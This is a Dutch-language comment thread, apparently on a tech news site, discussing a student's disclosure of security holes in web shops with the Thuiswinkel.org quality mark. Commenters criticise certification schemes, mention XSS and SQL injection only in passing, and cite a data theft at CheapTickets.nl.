net als de nederlandse overheid, wel een complete certificaten bedrijf helemaal de grond in boren als er iets fout gaat en later pas beseffen dat ze zelf op windows 2000 servers met verouderde software draaien wat vele male minder veilig was.

Kamer van Koophandel ook zoiets. tegen wat beschermt het? op tv komt het ook nog vaak genoeg voor van "ja ik ben bij de kvk ingeschreven" terwijl die persoon 50.000é schulden had en minstens 7 bedrijven failliet heeft laten gaan.

ik vind dat bedrijven die certificaten of keurmerken uitgeven eens werkelijk moeten controleren wat er gebeurd in plaats van klakkeloos iedereen accepteren en een stickertje geven dat het goed is (al dan niet financieel gekeken).

[Kecin]

Snap niet dat zulke grote site's zulke beginnersfouten hebben in hun code.
Iedereen weet nu toch wel een keer dat je moet escapen en afvangen etc?

Maargoed, mooi dat die het niet voor eigen gewin heeft gebruikt. Iemand zou een security check voor sites moeten ontwikkelen qua xss enzo. Gewoon alle velden en posts op een website controleren, volledig automatisch. (Geloof dat het ook wel bestaat, soms zie je wel van die buttons; checked by McAffee etc."

[Miyamoto]

Lees de reacties hierboven eens door. Er komen al verschillende methoden voorbij, waarbij de een de ander aanvult en/of zelfs corrigeert. En dan gaat het hierboven voornamelijk over PHP. Dat is dus nog maar een topje van de ijsberg.

Bedenk daarbij dat veel websites uitgroeien van een hobbie-project naar een grote webshop, daar wordt niet vanaf het begin af aan professioneel aan gewerkt. Dan sluipen dit soort dingen erin.

En natuurlijk hoort dat niet, maar dat kun je niet verbieden of met een keurmerk tegenhouden. Slordig? Ja. Te voorkomen? Moeilijk.

Wat misschien wel een issue is, is wat rootpowered ook zegt, Thuiswinkel.org zou dit soort dingen ook kunnen testen. Al komt dan het probleem: Hoe ver moet Thuiswinkel.org gaan? Als ze alleen SQL-injecties testen, komt er dalijk een bericht dat veel websites op verouderde server-software draaien.

[Auroram]

Goed om te zien dat er hardwerkende studenten zijn die dit soort problemen aan het licht brengen. Daar kan het keurmerk zelf nog het een en ander van opsteken. Tenminste, het lijkt mij dat ze dit zelf toch met enige regelmaat zouden moeten controleren? Puik werk van Heesen!

Edit:
Ben trouwens wel benieuwd of dit soort lekker consumenten ertoe aanzetten om minder in webshops te kopen, en weer meer in "echte" winkels. Daar heb je tenminste weinig kans dat je gegevens bloot komen te liggen voor kwaadwillenden. Het zou interessant zijn als iemand hier onderzoek naar deed.

[Reactie gewijzigd door Auroram op 28 juli 2024 21:37]

[console]

Die keurmerken slaan helemaal nergens op, als ze nu ook nog eens echt je website onderhanden nemen om vulnerabilities op te sporen, maar nee ze incasseren liever het geld en daarvoor doen ze een paar checks op het zicht.

Kan je net zo goed direct je geld verbranden dan je zuurverdiende geld aan zulke organisaties te geven, die achterlijke prijzen vragen voor een 'keurmerk' logo op je website..

[DannyvanRooy]

"De onderzoeker heeft zijn bevindingen gemeld aan de stichting Thuiswinkel.org, die een keurmerk voor webshops beheert."

Dan is het nog maar goed dat deze beveiligingslek in de goeie handen is gevallen. Je praat hier over webwinkels en je denkt hier veilig bestellingen te kunnen plaatsen.

"Bij CheapTickets.nl wist een hacker gegevens van 715.000 klanten te stelen."

Auch. Dat moet echt eventjes nagekeken worden.